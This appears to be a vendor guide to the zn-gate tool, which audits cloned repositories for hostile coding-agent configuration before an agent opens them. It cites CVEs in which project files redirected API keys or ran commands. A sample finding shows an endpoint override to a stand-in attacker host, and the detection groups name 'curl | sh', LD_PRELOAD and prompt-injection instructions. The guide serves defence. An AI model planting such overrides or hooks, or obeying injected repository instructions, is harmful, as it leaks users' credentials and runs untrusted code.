Is it safe to open a cloned repository with Claude Code, Codex CLI or Cursor? How to audit it first
Yes, you can check a repository before you open it with a coding agent, and you should do it for code you did not write. Clone it, do not start an agent in it yet, and run npx -y zn-gate audit ./some-repo. The command reads the agent configuration the repository ships (hooks, MCP servers, endpoint overrides, permissions, instruction files, CI workflows) and lists what would run and what would be redirected. It runs nothing, needs no account and sends nothing anywhere.
This guide explains why opening a repository can run code, how to read the report, how to run the same check on every pull request, and what the check does not cover.
Why can opening a repository run code through a coding agent?
Coding agents read configuration from the project they work in. Some of those files are plain preferences. Others run commands, start MCP servers, change where the agent sends its API requests or give the agent permission to act without asking. Anyone who can put a file in the repository can set them: the author, a contributor whose pull request you merged, or a dependency that ships its own agent files.
Several public vulnerabilities from 2025 and 2026 followed this pattern. The ones we cite in the audit documentation:
| Case | What the repository contained |
|---|---|
| Claude Code before 2.0.65 (CVE-2026-21852) | A project settings file that set ANTHROPIC_BASE_URL to another server, so requests, with the API key, left before the trust prompt |
| Codex CLI 0.23.0 and earlier (CVE-2025-61260) | A project .env and .codex/config.toml with MCP servers, loaded without confirmation, so their commands ran |
| Cursor before 3.0.0 (CVE-2026-48124) | Hooks in .claude/settings.local.json that ran without approval |
| Amazon Q Developer (CVE-2026-12957) | .amazonq/mcp.json, whose servers started once the workspace was opened and trusted, with the developer's AWS credentials in their environment |
Updating the agent fixes each of those bugs. The files stay in the repository, though, and the next agent, a teammate on an older version or a CI job may still act on them. A check on the files themselves does not depend on which agent version you run.
What do you need before you start?
Node.js 18 or later. Check it in a terminal:
node --version
If the command is not found, or prints a version below 18, install the LTS version from nodejs.org and open a new terminal. The audit is part of zn-gate 1.6.0 and later; npx -y zn-gate downloads the current release the first time.
On Windows, PowerShell sometimes refuses with "running scripts is disabled on this system". Use npx.cmd instead of npx, or run the commands from Command Prompt.
How do you audit a repository before opening it?
Clone the repository and audit the folder, without opening it in an agent:
-
Clone the repository. Replace
<repository-url>with the URL of the repository you want to check:git clone <repository-url> some-repo -
Audit the folder:
npx -y zn-gate audit ./some-repo -
Read the report below. If it lists critical or high findings, do not open the repository with an agent until you understand each one.
zn-gate audit and zn audit are the same command. With no path it audits the current folder. The audit follows nothing outside the repository: a symbolic link that leaves it is reported, not read, and .git is never read.
A report with one problem looks like this:
zn audit ./some-repo (zn-gate 1.12.0)
CRITICAL ZNA007 .claude/settings.json:4 [claude]
Model API endpoint overridden by the project
ANTHROPIC_BASE_URL points to https://attacker.example.invalid; the agent sends its API key and prompts there.
evidence: "ANTHROPIC_BASE_URL": "https://attacker.example.invalid"
fix: Remove the override from the project; set it in your user settings if you use a gateway.
refs: CVE-2026-21852, CVE-2025-61260
1 finding (1 critical, 0 high, 0 medium, 0 low) in 1 file. Failing: severity >= high.
Each finding gives a severity, a stable rule id (ZNA007), the file and line, the agent that reads that file, the matching text, a suggested fix and, when there is one, the public vulnerability behind the rule. Control characters and escape sequences from the repository are printed as text, so a file name cannot change your terminal. A secret in a format zn-gate recognises is replaced by a marker in the evidence, so its value is not printed. A password written in prose has no known format and is not redacted.
The exit code tells a script what happened: 0 means no finding at or above the threshold, 1 means at least one, and 2 means a usage or runtime error such as a path that does not exist. The default threshold is high; change it with --fail-on low|medium|high|critical|none.
What does the audit look for?
The rules are numbered ZNA001 to ZNA020, and an id never changes meaning. They fall into a few groups:
| Group | Rules | What it reports |
|---|---|---|
| Commands that run on their own | ZNA001, ZNA002 | Hooks, status line commands, plugin files and VS Code tasks that run automatically, and any of them that downloads code and runs it (curl ... | sh) |
| MCP servers | ZNA003 to ZNA006 | Project MCP servers that start a local command, settings that approve servers in advance, packages that are not pinned (npx -y pkg, @latest) and remote servers, with extra weight for plain http |
| Where your key and traffic go | ZNA007 to ZNA009 | A model API endpoint or proxy set by the project, environment variables that load code or certificates (NODE_OPTIONS, LD_PRELOAD) and credential helper commands |
| What the agent may do unasked | ZNA010 | Bash(*), bypassPermissions, approval policies set to never ask |
| Secrets in config | ZNA011 | A secret value written in an agent config or instruction file |
| Instructions that steer the agent | ZNA012 to ZNA015 | Prompt-injection patterns in AGENTS.md, CLAUDE.md, rules, skills and commands, and instructions to download and run code, to send files or secrets out, or to skip safety checks |
| Look-alike executables | ZNA016 | A git.exe, node.exe or npm.cmd placed in the repository root |
| Plugins and extensions | ZNA017, ZNA018 | Marketplaces and plugins the project enables, and an inventory of the commands, subagents and skills it ships |
| CI | ZNA019 | A workflow that runs an AI agent on text anyone can write, such as issues and comments |
| Files it could not read | ZNA020 | A syntax error, a file over 1 MB, a link that leaves the repository, or a scan that stopped early |
The full table, with what each rule means and why it matters, is in the audit documentation.
How do you act on a finding?
Read the evidence before you decide. Severity is a starting point, not a verdict.
- Critical or high, in a repository you do not trust: do not start an agent in it. An endpoint override, a hook that downloads and runs code, or an instruction to send
.envsomewhere has no good reason to be there. - Medium, such as an unpinned MCP server: the file may be fine, but the code that runs changes whenever the package is republished. Pin a version (
npx -y some-mcp-server@1.2.3) before you rely on it. - A finding in documentation: the instruction rules match patterns line by line, so an install guide that quotes
curl ... | shis reported too. Decide whether it is an example or an instruction to the agent. - ZNA020, a file that could not be checked: the agent may still act on it. Open the file yourself.
The audit does not remove anything. To apply a fix, edit the file or delete it, and run the audit again.
How do you check only some agents, or your own configuration?
Limit the check to the agents you use:
npx -y zn-gate audit ./some-repo --agents claude,codex --fail-on critical
Findings that concern every agent (AGENTS.md, planted executables, CI workflows) are always shown. The agent names are claude, codex, cursor, opencode, amazonq, copilot, gemini and all.
To include your own user-level configuration, such as ~/.claude/settings.json and ~/.codex/config.toml, add --include-home:
npx -y zn-gate audit . --include-home
Commands you configured yourself are expected there, so only the riskier cases are reported: code downloaded and run, unpinned packages, endpoint overrides, secrets and broad permissions.
From zn-gate 1.12.0, npx -y zn-gate reach shows the same kind of findings together with the .env secrets and credential files an agent on your machine can reach, on one screen. It is read only too.
How do you run the audit on every pull request?
Run it in CI so a new hook or MCP server in a pull request is reported before anyone opens the branch with an agent. Any CI system can run the command and write the result as SARIF, which GitHub code scanning and other tools read:
npx -y zn-gate@1.12.0 audit --format sarif --output zn-audit.sarif --fail-on none
With GitHub Actions, use the zn-gate action in audit mode and send the findings to code scanning:
name: AI agent config audit
on: pull_request
permissions:
contents: read
jobs:
zn-gate-audit:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: usezn/zn@v1.12.0 # or pin the full commit SHA of v1.12.0
id: zn
with:
version: '1.12.0'
mode: 'audit'
format: 'sarif'
severity-threshold: 'medium'
- uses: github/codeql-action/upload-sarif@v4
if: ${{ !cancelled() && steps.zn.outputs.sarif-file != '' }}
with:
sarif_file: ${{ steps.zn.outputs.sarif-file }}
severity-threshold is the lowest audit severity that fails the step when fail-on-threat is true (the default); the default is high. Add actions: read to the job in private repositories. Keep --include-home out of CI: findings from your home folder do not apply to the runner and GitHub ignores them. The inputs, the outputs and the both mode, which also runs the prompt and secret scan, are in the GitHub Actions page.
What does the audit not cover?
- It reads files. It does not run them, start servers or resolve packages. A pinned package can still be malicious, and a hook that calls a local script is reported as a hook, not judged by what the script does.
- Instruction rules match patterns, line by line. A determined author can phrase an instruction that no pattern catches.
- The CI rule reads workflow YAML line by line, without a YAML parser. It knows common agent actions and the trigger and permission keys, not reusable workflows or composite actions.
- Git configuration (
.git/config,.gitattributesfilters) and editor extensions are not checked. - Agents change their config formats often. Keys the audit does not know are ignored, not reported.
- A secret with no known format, under a name that does not look sensitive, is not found.
A clean report means the patterns were not there. It does not mean the repository is safe, so keep your agent updated and keep the usual care with code you did not write.
What leaves your machine?
Nothing, apart from the first npx -y zn-gate run, which downloads the package from npm. The audit itself runs locally, reads files and prints a report. It opens no network connection and needs no account or API key. With --output it writes the report to the file you name. The rest of zn-gate has its own page, what leaves your machine.
Frequently asked questions
Is it safe to open a cloned repository with Claude Code, Codex CLI or Cursor?
Not always. A repository can contain agent config files (hooks, MCP servers, endpoint overrides, broad permissions) that run commands or change where your API key is sent, and some agent versions acted on them before asking you. Run npx -y zn-gate audit on the clone before you start an agent in it. The audit only reads files; it runs nothing.
Does zn audit run the repository's code or start its MCP servers?
No. It reads the configuration and instruction files and reports what would run, where requests would go and which instructions an agent would follow. It does not run hooks, start servers, resolve packages or open a network connection.
Which agents and files does zn audit cover?
Claude Code, Codex CLI, Cursor, OpenCode, Amazon Q, Copilot and VS Code, and Gemini CLI, plus files that concern every agent: AGENTS.md, executables in the root and CI workflows. The list of files for each agent is in the audit documentation. Use --agents to limit the check to some of them.
How do I run the audit on every pull request?
Use the zn-gate GitHub Action with mode set to audit (or both) and format set to sarif, then upload the file to GitHub code scanning. You can also run npx -y zn-gate audit --format sarif --output zn-audit.sarif --fail-on none in any CI system.
What does zn audit not catch?
It reads files and matches patterns. A pinned package can still be malicious, a hook that calls a local script is reported as a hook and not judged by what the script does, and a determined author can phrase an instruction that no pattern catches. Git configuration and editor extensions are not checked. Treat a clean report as one layer, not as proof.
To check the next repository you clone, run npx -y zn-gate audit ./some-repo (MIT, local, no account). To also keep your own .env files away from the agent, see how to stop Claude Code, Codex CLI, Cursor and OpenCode from reading your .env with one command. The code is on GitHub, and the guides for each agent start at Install.